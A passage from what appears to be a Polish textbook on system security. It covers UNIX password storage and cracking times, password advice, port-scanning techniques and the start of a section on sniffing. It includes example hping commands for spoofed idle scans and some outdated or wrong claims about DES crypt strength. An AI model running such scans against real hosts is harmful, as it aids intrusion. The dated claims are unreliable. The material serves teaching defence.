dostęp do komputera, ale tylko do swoich prywatnych zasobów i do żadnych
innych. W systemach sieciowych takich jak UNIX rozwiÄ…zano to stosujÄ…c system
kont użytkowników. Każdy użytkownik posiada swoje osobiste konto, do którego
tylko on ma dostęp. Dysponuje wtedy określonymi zasobami, plikami
i programami. Odpowiada za wszystkie swoje działania, które są z nim
identyfikowane. Konto takie jest zazwyczaj połączone z katalogiem zwanym
katalogiem użytkownika, do którego użytkownik ma pełen dostęp i całkowitą nad
nim kontrolÄ™. Konto takie jest identyfikowane przez nazwÄ™, tzw. login,
i numer UID.
Po założeniu konta system (lub administrator) sam przyznaje użytkownikowi
hasło początkowe. Hasło to należy jak najszybciej zmienić na inne, gdyż bardzo
często system nadaje wszystkim użytkownikom te same hasła początkowe lub
ustawia je na takie same jak login. Hasło zmienia się poleceniem passwd, które
najpierw żąda wpisania dotychczasowego hasła, aby uniemożliwić zmianę hasła
użytkownikowi, który przez roztargnienie zostawił włączony terminal
i zapomniał się wylogować. Potem należy wpisać dwa razy nowe hasło w celu
potwierdzenia jego poprawności i uniknięcia sytuacji, w której użytkownik mógłby
się pomylić przy wpisywaniu hasła. Niektóre systemy mają domyślnie ustawione
różne zabezpieczenia dotyczące formatu haseł, ale wiele z nich może niezależnie od
systemu ustawić administrator. Większość systemów wymaga haseł dłuższych, np.
ponad 5 znaków, czasem hasło musi być kompozycją liter i cyfr, nie może zawierać
nazwy systemu, komputera itp. (np. UNIX, XENIX, IBM nie zostanÄ… dopuszczone
do użycia). Wybranie dobrego hasła gwarantuje bezpieczeństwo konta i pewność,
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 30
Ataki na systemy komputerowe
że nikt go łatwo nie odgadnie ani nie deszyfruje.
Każde konto w systemie UNIX jest chronione przed nieautoryzowanym dostępem
przez hasło. Hasło to jest zapisywane w pliku /etc/passwd w postaci kodowanej,
więc pomimo tego że jest dla każdego dostępne nie może zostać rozszyfrowane.
Sposób szyfrowania hasła w ogóle nie pozwala na odszyfrowanie hasła z postaci
zaszyfrowanej. Autoryzacja polega na zaszyfrowaniu hasła podanego przez
użytkownika i porównaniu tych zaszyfrowanych wersji.
Hasło jest jedynym zabezpieczeniem konta jakie daje UNIX, jest więc
bardzo ważnym elementem tego systemu. Przy logowaniu po wprowadzeniu nazwy,
system pyta o hasło użytkownika, jeśli nie zostanie podane prawidłowo system nie
pozwoli użytkownikowi na pracę. Na wypadek ataku na konto, poprzez próbę
odgadnięcia hasła, istnieje w UNIX'ie kilka wariantów zabezpieczeń. Jednym
z nich jest całkowite zablokowanie konta po kilku nieudanych próbach wejścia na
nie w krótkim okresie czasu. Sposób ten owszem zabezpiecza konto przed próbą
odgadnięcia hasła, ale ma też dużą wadę, ponieważ można poprzez takie nieudane
ataki doprowadzić do zablokowania wielu kont użytkowników, co powoduje np.
zmniejszenie liczby pracujących w danej chwili na danym serwerze osób. Niektóre
systemy UNIX, rozwiązują ten problem inaczej: po każdej nieudanej próbie
logowania się zostaje zwiększony czas przez umożliwieniem następnej próby.
Tak działa na przykład system Linux.
Hasło w systemie UNIX może składać się w zależności od systemu
od 4 do 11 znaków (choć czasami dopuszczalne są nawet hasła puste). Hasło takie
jest kodowane funkcją systemową crypt() przy użyciu 56-bitowego klucza. Funkcję
tą wywołuje się dla hasła 25 razy w celu zwiększenia stopnia kodowania, w wyniku
tego dostajemy zawsze 11 bajtowe hasło zakodowane przy użyciu jedynie znaków
drukowanych. Jednak ten sposób nie daje do końca zadowalających rezultatów.
Hasło zakodowane w ten sposób byłoby zawsze jednakowo kodowane, tzn. dwie
osoby mające takie samo hasło, również po zakodowaniu miałyby jednakowe pola
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 31
Ataki na systemy komputerowe
w pliku /etc/passwd. Jest to niedopuszczalne, gdyż ułatwiałoby to wejście od razu
na kilka kont. W celu poprawienia algorytmy kodującego wymyślono różne
sposoby kodowania, przy pomocy soli (ang. salt value). Sól jest to 12-bitowa liczba
z zakresu 0-4095 dobierana w zależności od pory dnia. To właśnie ta liczba
określająca sposób kodowania hasła, jest tutaj jakby kluczem. Sól zwiększa do 4096
ilość sposobów zakodowania tego samego hasła. W systemie sól jest zapisywana na
pierwszych dwóch bajtach zaszyfrowanego hasła. W ten sposób zaszyfrowane hasło
ma 13 znaków, 2 soli i 11 hasła.
Algorytm kodowania używany przez systemową funkcję crypt() to znany
system DES. W połączeniu z solą pozwala on na injektywne kodowanie hasła.
Oznacza to, że hasło zakodowane nie może zostać rozkodowane do postaci jawnej.
Po prostu nie istnieje algorytm rozkodowujący hasła UNIX'owe. Programy radzą
sobie z tym podchodząc do sprawy od tyłu, tzn. pobierają od użytkownika hasło,
a następnie przy użyciu tej samej soli powtórnie kodują to hasło i porównują je
z hasłem zapisanym w systemie. Przy obecnej mocy komputerów jest to system
wykluczający ataki siłowe na hasło, sprawdzenie jednego tylko hasła w systemie
wymagałoby zaangażowania kilku potężnych maszyn, co nie jest proste ani tym
bardziej tanie.
Nie przesłonięty plik /etc/passwd ma następujący format:
identyfikator:hasło:UID:GID:imie_i_nazwisko:katalog:powłoka
gdzie:
identyfikator :nazwa (login) użytkownika
hasło :zakodowane hasło
UID :numer użytkownika
GID :numer domyślnej grupy dla użytkownika
imie_i_nazwisko :imię i nazwisko użytkownika  właściwie pole to nazywa się
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 32
Ataki na systemy komputerowe
GECOS (General Electric Comprehensive Operating System)
i mogą tam być zapisane inne dane niż tylko imię
i nazwisko. Polecenia shadow i strony podręcznika
systemowego nazywajÄ… to pole polem komentarza.
katalog :katalog domowy użytkownika (pełna ścieżka)
powłoka :powłoka dla danego użytkownika (pełna ścieżka)
Na przykład:
janek:Nkjg97jh7yff8:503:100:Jan Kowalski:/home/janek:/bin/bash
gdzie: Nk jest wartością salt a jg97jh7yff8 jest zakodowanym hasłem. Zakodowane
hasło z kluczem mogłoby równie dobrze wyglądać tak: ghHFgj75fR8iP, a te dwa
łańcuchy to dokładnie te same hasła.
Plik /etc/passwd zawiera także takie informacje jak ID użytkownika i ID
grupy, które są używane przez większość programów, dlatego też musi pozostać
odczytywalny dla każdego. Jeśli chcielibyśmy zmienić prawa dostępu do pliku
/etc/passwd tak, żeby nikt nie mógł go czytać (oprócz roota), to pierwszym
symptomem jaki byśmy zauważyli jest to, że przy wydaniu polecenia
$ ls -l
pojawiłyby się numery zamiast nazw użytkowników. Ten sposób jest
przechowywania haseł jest więc trochę niebezpieczny. Pakiet do przesłaniania haseł
rozwiązuje ten problem poprzez umieszczenie haseł w innym pliku
(z reguły jest to /etc/shadow). Plik /etc/shadow ma tak ustawione prawa dostępu, że
nie może go czytać nikt, oprócz roota. Niektóre programy jak np. xlock, nie muszą
mieć możliwości zmiany haseł, ale tylko ich odczytu. Programy te mogą albo być
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 33
Ataki na systemy komputerowe
uruchamiane z prawem SUID, albo można dodać grupę shadow, która miałaby
tylko prawo odczytu pliku /etc/shadow. Program ten może wtedy należeć do grupy
shadow i być uruchamiany z prawem SGID.
Przenosząc zakodowane hasła do innego pliku, efektywnie zabraniamy
włamywaczom dostępu do nich, co uniemożliwia ataki słownikowe.
Jeżeli pakiet do przesłaniania haseł, np.  Shadow Suite jest zainstalowany, to
format pliku /etc/passwd się nie zmienił, zmieniło się tylko miejsce
przechowywania zakodowanego hasła. Oznacza to, że każdy program, który tylko
czyta plik /etc/passwd, a nie zapisuje w nim hasła, będzie nadal działał poprawnie.
W pliku /etc/passwd pole z hasłem zastępowane jest jednym znakiem, zazwyczaj
 x . Plik /etc/shadow zawiera następujące informacje:
login:hasło:ostatnio_1970:może:musi:ostrz:dni:dni_1970:zarez
gdzie:
login :patrz /etc/passwd
hasło :zakodowane hasło
ostatnio_1970 :ilość dni od 1 stycznia 1970, kiedy hasło było ostatnio
modyfikowane
może :ilość dni w przeciągu, których hasło może być zmienione
musi :ilość dni, po której hasło musi zostać zmienione
ostrz :ilość dni przed wygaśnięciem hasła od jakiej należy zacząć
informować użytkownika o wygaśnięciu hasła.
dni :ilość dni, po której hasło wygasa i konto jest blokowane
dni_1970 :ilość dni od 1 stycznia 1970, po której konto jest blokowane
zarez :pole zarezerwowane
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 34
Ataki na systemy komputerowe
Poprzedni przykład może więc wyglądać tak:
janek:Nkjg97jh7yff8:9479:0:10000::::
O ile login w systemie musi być jedyny i niepowtarzalny to numer UID, określający
konto może należeć do kilku użytkowników, tzn. kilku użytkowników, o różnych
loginach i hasłach może mieć w rzeczywistości to samo konto. Oto przykład tak
skonstruowanego pliku /etc/passwd:
httpa:Wx8usn.R3.lo9:6:6:Janek - administrator WWW:/usr/spool/http:/bin/sh
httpb:4osdl.P.s,8d.:6:6:Ola - administrator WWW:/usr/spool/http:/bin/csh
httpc:e09L.k/as9s.s:6:6:Tomek - administrator WWW:/usr/spool/http:/bin/tcsh
Wyżej przedstawiony przypadek pokazuje jak trzem osobom dać możliwość
dostępu do tego samego konta, służącego obsłudze serwisu WWW. Trzecie pole
w pliku /etc/passwd określa UID konta i jak widać jest on ten sam dla wszystkich
trzech użytkowników, co oznacza że jest to jedno i to samo konto. Jednocześnie
jednak mamy możliwość kontroli każdego użytkownika osobno, możemy każdemu
zabrać lub przyznać dostęp do tego konta. Możemy też każdemu
z nich ustawić inny interpreter poleceń.
Oto przykładowa definicja pliku /etc/group:
root::0:root
bin::1:root,bin,daemon
daemon::2:root,bin,daemon
sys::3:root,bin,adm
jasio::500:
halinka::501:halinka
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 35
Ataki na systemy komputerowe
czyli:
name:password:gid:login
name :nazwa grupy
password :hasło (najczęściej puste)
gid (GID) :group id (identyfikator grupy)
login :login
Znając kilka znaków z hasła lub jego długość można już się pokusić o próbę jego
złamania metodą siłową. Włamywacz mając do dyspozycji funkcję crypt(), może
każde potencjalne hasło kodować 25 razy, a następnie porównywać wynik
z zapisem hasła w systemie. Aby tego się ustrzec można zastosować jeszcze jedno
wzmocnienie systemu kodowania haseł. Pomysł ten opiera się na innej ilości
wywołań funkcji crypt(). Można ją na przykład wywoływać 200 lub 300 razy,
wtedy włamywacz kodując swoje hasła standardowo 25 razy nigdy nie trafi na
prawdziwe hasło zapisane w systemie. Ten pomysł wymaga jednak pewnego
zaawansowania administratora systemu podejmujÄ…cego siÄ™ takiego wyzwania.
Należy mianowicie poprawić i następnie przekompilować wszystkie programu
korzystające z haseł (począwszy od passwd, a skończywszy na demonach usług
sieciowych takich jak telnetd, czy ftpd), tak aby wywoływały funkcję crypt() nie 25
razy a np. 200. Jeżeli ma się dostęp do zródeł oprogramowania, jak np.
w przypadku Linuxa, można to zrobić bez większych problemów. W przypadku
natomiast systemów komercyjnych różnie bywa z dostępem do kodu zródłowego
i możliwością ingerencji w niego. Jedno w tym wypadku jest pewne, to działanie na
pewno wzmacnia hasła, szczególnie jeśli dobierzemy nietypową liczbę ilości
kodowań i zachowamy ją w tajemnicy.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 36
Ataki na systemy komputerowe
Istnieją dwie metody rozkodowywania haseł: siłowa (ang. brute force)
i słownikowa. Pierwsza wykonuje proces iteracji korzystając z zadanego zbioru
znaków, np. litery małe i duże, cyfry, znaki ASCII. Metoda słownikowa opiera się
na posiadaniu zbioru wyrazów tematycznych lub regionalnych. Im więcej wyrazów
w słowniku, tym większe prawdopodobieństwo znalezienia hasła. Atutem tej
techniki jest jej szybkość, ale może być stosowana tylko do prostych haseł,
składających się z popularnych wyrazów.
Przy założeniu, że znana jest długość hasła, to stosując różne metody: siłową
i słownikową można spróbować rozkodować hasła. W zależności od stopnia ich
skomplikowania, hasła będziemy rozkodowywać krócej lub dłużej. Odpowiednie
czasy obliczeÅ„ wykonane na procesorze Pentium® III 700MHz przy pomocy
programu John the Ripper 1.3 są przedstawione w tabeli. W teście użyto słownika
języka polskiego zawierającego 109 862 słów.
Tabela 3. Czas rozkodowywania hasła w zależności od jego skomplikowania,
podany w formacie gg:mm:ss6
hasło metoda
login
rozkodowane zakodowane słownikowa siłowa
marek Pt1dz4 UP8cOlJE0p1MI  47:51:03
jurek krzaki UFXFB11MR/YGY 00:00:03 00:39:40
kasia aisak UqxoIOrSuFVQI  00:00:02
6
yródło: opracowanie własne
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 37
Ataki na systemy komputerowe
Widać więc, że stosując proste hasła narażamy się na ich złamanie. Aby to utrudnić,
w wyborze hasła należy się kierować kilkoma zasadami.
nie używać nazwy własnego loginu w żadnej formie: normalnej, odwróconej,
z dużej litery czy podwójnie,
nie używać własnych imion i nazwisk oraz imion małżonków i dzieci,
nie używać żadnych informacji, które można łatwo o nas uzyskać. np.
numery tablic rejestracyjnych, numerów telefonów, numeru ubezpieczenia
społecznego, nazwy marki samochodu, nazwy ulicy przy której mieszkamy,
itp.,
nie używać haseł składających się z samych cyfr lub samych liter, ponieważ
znacznie to skraca hakerowi czas poszukiwania hasła,
nie używać słów, które mają znaczenie w naszym lub innym języku,
nie używać haseł krótszych niż 6 znaków,
używać haseł złożonych z małych i dużych liter,
korzystać ze znaków spoza alfabetu, np. cyfr, znaków interpunkcji,
używać haseł, które łatwo zapamiętać tak, aby nigdzie ich nie zapisywać,
używać haseł, które można łatwo i szybko wpisać bez patrzenia na
klawiaturę; to będzie utrudnienie dla osób, które podglądają przy logowaniu,
wybrać jeden lub dwa wersy z wiersza lub poematu i użyć pierwszych liter
z każdego wyrazu, np.:  Litwo, ojczyzno moja, Ty jesteś jak zdrowie , czyli
LomTjjz,
naprzemiennie stosować jedną samogłoskę i jedna lub dwie spółgłoski,
w wyniku mamy bezsensowne słowa, które ciężko wymówić, a łatwo
zapamiętać,
wybrać dwa krótkie słowa i połączyć je ze sobą znakiem interpunkcji,
np. wiatr;szelesci, saga+wino, ktos?brzoza.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 38
Ataki na systemy komputerowe
2.3. Skanowanie
Jedną z pierwszych czynności, jakie wykonuje haker, jest test penetracyjny
atakowanego komputera w celu zdobycia informacji dotyczÄ…cych:
oferowanych usług TCP, UDP, RPC,
rodzaju i wersji oprogramowania udostępnionych usług jak i samego
systemu operacyjnego,
struktury sieci komputerowej.
W pierwszej kolejności wykonuje skanowanie zdalnej maszyny pod kątem
otwartych portów, a następnie próbuje uzyskać informacje o rodzaju i wersji
oprogramowania odpowiedzialnego za obsługę tych portów, a także informacje
o architekturze i systemie operacyjnym.
Większość wykorzystywanych przez hakerów dziur w systemach jest zależna
od oprogramowania zarządzającego daną usługą, bądz nawet od wersji całego
systemu. Posiadając już wszelkie informacje, haker może odwiedzając stronę
internetową z listą dostępnych exploitów, ściągnąć z niej odpowiedni program
i przeprowadzić atak. Skanowanie przeprowadza się techniką siłową (ang. brute
force) poprzez wysyłanie wielu pakietów na różne porty i w zależności od
otrzymanej odpowiedzi lub jej braku, poprzez dedukcję otrzymuje się porty, które
są otwarte. Do skanowania portów wykorzystywane są różne techniki,
w zależności od użytych protokołów, z których korzystają atakowanie serwery.
Wszystkie z nich majÄ… swoje wady i zalety.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 39
Ataki na systemy komputerowe
TCP connect() scanning
Jest to podstawowa metoda, polegająca na nawiązywaniu połączenia z każdym
interesującym portem. Jeśli połączenie dojdzie do skutku oznacza to, że dany port
jest otwarty, w przeciwnym wypadku port jest niedostępny. Jedną z korzyści tej
metody jest to, że do jej użycia nie potrzeba specjalnych przywilejów. Drugą zaletą
jest szybkość, ponieważ można nawiązywać połączenia z wieloma portami
równocześnie. Wadą jest oczywiście łatwość wykrycia tej metody, ponieważ logi na
docelowym serwerze pokażą dużą ilość ustanawianych połączeń i listę
komunikatów z błędami. Jeśli na serwerze działają antyskanery, to mogą zamknąć
połączenie.
TCP SYN scanning, half-open scanning
W przeciwieństwie do skanowania połączeniowego, w tej metodzie nie ustanawiane
jest pełne połączenie.
port otwarty
SYN
SYN/ACK
RST
port zamknięty
SYN
RST
komputer skanowany
hakera serwer
Rys. 7. Metoda skanowania półotwartego  TCP SYN scanning.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 40
Ataki na systemy komputerowe
Wysyłany jest pakiet SYN, tak jakby chciano utworzyć połączenie i oczekuje się na
odpowiedz. Jeśli w odpowiedzi serwer zwróci pakiet SYN/ACK to port jest otwarty
i wysyłany jest pakiet RST rezygnujący z połączenia. Jeśli otrzymano RST oznacza
to, że port jest zamknięty.
Korzyścią z tej techniki jest to, że tylko niewiele serwerów zapisuje je do logów.
Niestety, aby móc budować własne pakiety SYN należy posiadać przywileje roota.
TCP FIN scanning, stealth scanning
Niektóre firewalle i filtry pakietów potrafią rozpoznać skanowanie typu SYN.
IstniejÄ… dwie odmiany techniki  stealth scanning . Pierwsza polega na tym,
że po wysłaniu pakietu FIN, przy porcie zamkniętym zwracany jest pakiet RST.
Jeśli port jest otwarty, to pakiet FIN jest ignorowany. Jest to błąd
w implementacji TCP, dlatego też jej skuteczność nie jest stuprocentowa.
port otwarty*
FIN
brak reakcji
port zamknięty
FIN
RST
komputer skanowany
hakera serwer
Rys. 8. Metoda skanowania typu  stealth  TCP FIN scanning.
*
istnieje tylko prawdopodobieństwo, że port jest otwarty
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 41
Ataki na systemy komputerowe
W drugim przypadku wysyłany jest pakiet ACK i jeśli TTL otrzymanych pakietów
jest niższy, niż reszta otrzymanych pakietów RST lub rozmiar okna jest większy niż
zero, istnieje duże prawdopodobieństwo, że dany port jest otwarty.
Na potrzeby tej techniki nadal wymagane sÄ… przywileje roota do budowania
własnych pakietów IP7.
TCP SYN/FIN fragmentation scanning
Nie jest to nowa metoda, tylko modyfikacja poprzednich technik. W zwiÄ…zku
z tym, że niektóre firewalle odrzucają pojedyncze pakiety SYN i FIN, można
próbować je rozdrobnić na mniejsze fragmenty IP rozdzielając nagłówek TCP
na kilka mniejszych części, aby były trudniejsze dla filtrów pakietów. Niestety
niektóre programy mogą mieć trudności z tak małymi pakietami, na niektóre sieci
ta technika działa, a w innych powoduje ich zawieszanie.
TCP reverse ident scanning
Metoda ta polega na nawiązaniu pełnego połączenia TCP i próbie ustalenia, poprzez
protokół ident, właściciela procesu na danym porcie. Jeśli właścicielem jest root,
można próbować ataku na ten właśnie port.
7
Uriel Maimon, Port Scanning without the SYN flag, Phrack Magazine nr 49 art. 15, 1997
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 42
Ataki na systemy komputerowe
UDP ICMP port unreachable scanning
W związku z tym, że protokół UDP nie jest protokołem połączeniowym, nie można
stosować tych samych technik skanowania, jak dla protokołu TCP.
Przeprowadzenie skanowania UDP jest trudniejsze w realizacji, mimo że sam
protokół jest prostszy. Dzieje się tak dlatego, że otwarte porty nie wysyłają
potwierdzenia w odpowiedzi na żądanie, a porty zamknięte nie wysyłają pakietów
z komunikatem o błędzie.
W protokole UDP obsługa błędów transmisji i retransmisja uszkodzonych lub
zagubionych pakietów spada na aplikacje. Na szczęście większość systemów
zwraca komunikat ICMP_PORT_UNREACH, kiedy wysyłane są pakiety do portu
zamkniętego. W ten sposób można się dowiedzieć, które porty są zamknięte
i poprzez eliminację wykazać, które mogą być otwarte. Technika ta jest stosunkowo
wolna, ponieważ w specyfikacji8 dotyczącej protokołu IP, określony jest pewien
limit wysyłanych komunikatów ICMP w danym przedziale czasowym. Dodatkowo,
aby mieć dostęp do komunikatów ICMP, należy posiadać uprawnienia roota.
Ten rodzaj skaningu ma najczęściej zastosowanie przy szukaniu usług RPC na
portach innych niż wskazywane przez portmapper, albo gdy jest on wyłączony.
Czasami dzięki tej technice możliwe jest ominięcie firewalli9.
8
Network Working Group, Request for Comments: 1812, Requirements for IP Version 4 Routers, 1995
9
Fyodor, The Art Of Port Scanning, Phrack Magazine nr 51 art. 11, 1997
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 43
Ataki na systemy komputerowe
RPC scanning
RPC jest usługą pozwalającą uruchamiać programy na odległych maszynach.
W wyniku istnienia pewnych słabych punktów usługi RPC, wiele maszyn jest
podatnych na penetrację. Większość administratorów blokuje więc dostęp do
portmappera (port 111), aby uniemożliwić na dostęp do ich słabych usług RPC.
Jednakże jest możliwe skanowanie portów w poszukiwaniu usług RPC, które
w dodatku nie pozostawia śladów w logach większości systemów.
RPC opiera się na standardzie pytanie  odpowiedz. Klient wysyła inicjujące
zapytanie z numerem interesujÄ…cego go programu, numer procedury, argumentami
i innymi potrzebnymi parametrami. W odpowiedzi otrzyma to, co zwróci procedura
lub gdy wystąpi błąd informacje dotyczące jego przyczyny. Programy RPC
zbudowane są z różnych procedur. Istnieje jedna procedura 0(), która występuje
zawsze. Jest to procedura, która nie posiada argumentów i nie zwraca żadnych
wartości. W ten sposób można określić, czy dany port obsługuje dany program,
wywołując funkcję ping, lecz najpierw trzeba sprawdzić, które porty UDP są
otwarte. Można tego dokonać właśnie metodą UDP connect(). Najpierw szukamy,
które porty UDP są otwarte, następnie próbujemy zapytać funkcją ping o numer
programu, który nas interesuje. Jeżeli dostaniemy odpowiedz pozytywna, to numer
programu, którego szukamy istnieje na tym porcie10.
10
Halflife, Scanning for RPC Services, Phrack Magazine nr 51 art. 7, 1997
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 44
Ataki na systemy komputerowe
UDP recvfrom() and write() scanning
Metoda ta polega na wykorzystaniu faktu, że niektóre funkcje systemowe zwracają
inne komunikaty przy próbie połączenia z portem otwartym, a inne
z zamkniętym, np. powtórne użycie funkcji write() do portu zamkniętego zwróci
błąd. Również funkcja recvfrom() zazwyczaj zwraca EATGAIN ( Try Again ,
errno 13) jeśli błąd ICMP nie został odebrany oraz ECONNREFUSED
( Connection refused , errno 111) gdy został odebrany. Technika ta może być
używana przez użytkowników nie posiadających uprawnień roota.
ICMP echo scanning (ping-sweep)
Dzięki tej technice możemy ustalić pod którymi numerami IP znajdują się
komputery. Jeśli otrzymamy odpowiedz na wysłany pakiet z ustawionymi bitami
72-79 nagłówka na wartość 1 i pierwszym polem obszaru danych ustawionym
na 8 (echo request11), to znaczy, że istnieje komputer pod skanowanym adresem IP.
Tak działa program ping.
FTP bounce attack
Interesującą opcją protokołu FTP (RFC 959)12 jest obsługa połączeń proxy.
Technika ta była skuteczna 15 lat temu, kiedy to specyfikacja RFC została napisana.
Ten słaby punkt protokołu może być użyty do wysyłania praktycznie nie do
11
Network Working Group, Request for Comments: 792, Internet Control Message Protocol, 1981
12
Network Working Group, Request for Comments: 959, File Transfer Protocol (FTP), 1985
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 45
Ataki na systemy komputerowe
wyśledzenia wiadomości pocztowych i grup dyskusyjnych, zapełniać dyski,
próbować omijać firewalle oraz być uciążliwym i ciężkim do wytropienia. Możemy
wykorzystać to do skanowania portów TCP poprzez serwer FTP proxy. W ten
sposób możemy połączyć się z serwerami za firewallem i skanować porty, które są
prawdopodobnie zamknięte. Jeśli serwer pozwala na czytanie
i zapisywanie do katalogów, możemy wysłać przypadkowe dane do portów, które
znalezliśmy otwarte. Metoda ta polega na użyciu komendy PORT w celu
zadeklarowania, że DTP (ang. data transfer process) klienta jest gotów do odbioru
na pewnym porcie. Następnie próbujemy poznać strukturę bieżącego katalogu
poprzez komendę LIST. Jeśli nasz docelowy serwer pracuje na danym porcie,
transfer zakończy się pomyślnie (odpowiedz 150 lub 226). W innym przypadku
otrzymamy komunikat 425 Can't buid data connection: Connection refuse. Wtedy
wydajemy kolejną komendę PORT z kolejnym numerem portu. Korzyścią z tej
metody jest to, że jest trudniejsza do wyśledzenia oraz pozwala omijać firewalle.
Wada natomiast jest jej powolność oraz to, że większość serwerów ma już
wyłączona opcję proxy.
IP.id scanning
Jest to względnie ostatnia metodą skanowania, która pozwala na użycie pakietów ze
sfałszowanym adresem zródłowym. Charakterystyczne dla niej jest wykorzystanie
pośredniego komputera. Wówczas, przewidując pole id w nagłówku IP, można
podszyć się pod pośrednika i skanować docelowy host pod kątem oferowanych
usług. Ważne przy tym jest to, że nie zdradzamy swojego prawdziwego adresu,
ponieważ w logach systemowych skanowanej maszyny pojawia się tylko adres
pośrednika. Należy zwrócić uwagę, że podczas skanowania techniką ip.id komputer
pośredniczący nie może wysyłać żadnych pakietów (zerowy ruch w sieci)
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 46
Ataki na systemy komputerowe
i jednocześnie skanowana maszyna musi być podatna na SYN scanning.
Przykładowo mamy do czynienia z trzema komputerami:
host A: komputer hakera  hacker.pl
host B: komputer pośredniczący w skanowaniu  posrednik.pl
host C: skanowany komputer  ofiara.pl
SYN
podrobiony
komputer
hakera
skanowany
serwer
komputer
pośrednik
Rys. 9. Metoda działania skanowania typu IP.id scanning.
W pierwszej kolejności poznaje się sposób numerowania kolejnych pakietów,
ponieważ znając zasadę działania tego algorytmu będziemy w stanie przewidzieć
kolejne numery wysyłanych pakietów. Uzyskamy to wywołując program hping:
$ hping posrednik.pl -r
HPING posrednik.pl (eth0 192.168.1.2): no flags are set, 40 data bytes
60 bytes from 192.168.1.2: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from 192.168.1.2: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from 192.168.1.2: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from 192.168.1.2: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from 192.168.1.2: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from 192.168.1.2: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
K
C
A
/
N
P
I
Y
N
T
S
y
G
S
t
r
R
a
w
t
o
t
r
o
p
y
t
T
i
S
n
k
R
m
a
z
t
r
o
p
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 47
Ataki na systemy komputerowe
Można zauważyć, że pole id nagłówka IP jest zawsze zwiększane o jeden, czyli
komputer posiada charakterystykę, jaką jesteśmy w stanie wykorzystać. Kolejnym
krokiem jest wysłanie do komputera C pakietów SYN na interesujący nas port ze
sfałszowanym adresem zródłowym, określającym B:
$ hping ofiara.pl -a posrednik.pl -S
Podglądając pakiety wychodzące z maszyny B można stwierdzić, czy dany port na
C jest otwarty, czy zamknięty. Jeśli host C odpowie potwierdzeniem ACK oznacza
to, że port jest otwarty, tak więc B odpowie RST, bo przecież nie ustanawiał
połączenia. Zauważymy więc, że host B wysyła pakiety:
$ hping ofiara.pl -a posrednik.pl -S
HPING posrednik.pl (eth0 192.168.1.2): no flags are set, 40 data bytes
60 bytes from 192.168.1.2: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from 192.168.1.2: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from 192.168.1.2: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from 192.168.1.2: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from 192.168.1.2: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from 192.168.1.2: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
Jeśli port jest zamknięty, to C wyśle RST, a B na ten pakiet nie odpowie, czyli nie
będzie wysyłał żadnych pakietów:
$ hping ofiara.pl -a posrednik.pl -S
HPING posrednik.pl (eth0 192.168.1.2): no flags are set, 40 data bytes
60 bytes from 192.168.1.2: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from 192.168.1.2: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from 192.168.1.2: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from 192.168.1.2: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from 192.168.1.2: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from 192.168.1.2: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 48
Ataki na systemy komputerowe
2.4. Sniffing
Sniffing jest techniką polegającą na podsłuchiwaniu pakietów
przepływających w sieci. Każdy komputer podłączony do lokalnej sieci
komputerowej ma swój własny unikalny adres sprzętowy. W sieci, w której
występuje rozgłaszanie (ang. broadcasting), dane są rozsyłane do wszystkich
komputerów, ale odbierają je tylko te do których są zaadresowane. Wykorzystując
fakt, że karty sieciowe w trybie mieszanym (ang. promiscous mode) pozwalają na
odczytywanie pakietów przesyłanych do innych komputerów w sieci, haker może
przechwycić poufne informacje przesyłane poprzez sieć. Programy służące w tym
celu nazywa siÄ™ snifferami. Zainstalowanie sniffera w jakimÅ› newralgicznym
miejscu sieci, np. na routerze, może doprowadzić do pokonania zabezpieczeń
wszystkich innych stacji roboczych z nim połączonych.
Programy tego typu na ogół przechwytują wszystkie pakiety z danymi. Jeśli
haker nie kradnie danych, to z punktu jego widzenia większość pakietów nie ma dla
niego większego znaczenia, dlatego też ogranicza się przechwytywanie do kilkuset
bajtów z każdego pakietu. Zazwyczaj wystarczy to do poznania nawy użytkownika
i jego hasła.
Sniffery można zainstalować praktycznie na każdej maszynie w sieci,
ale najbardziej interesujÄ…ce dla hakera sÄ… miejsca, gdzie dokonuje siÄ™ procedur
autoryzacji. Na szczególne niebezpieczeństwo narażone są komputery będące
bramkami między sieciami. Ze względu na umiejscowienie sniffera w sieci
wyróżnić można trzy sytuacje:
sniffer znajduje się na routerze znajdujący się między siecią lokalną
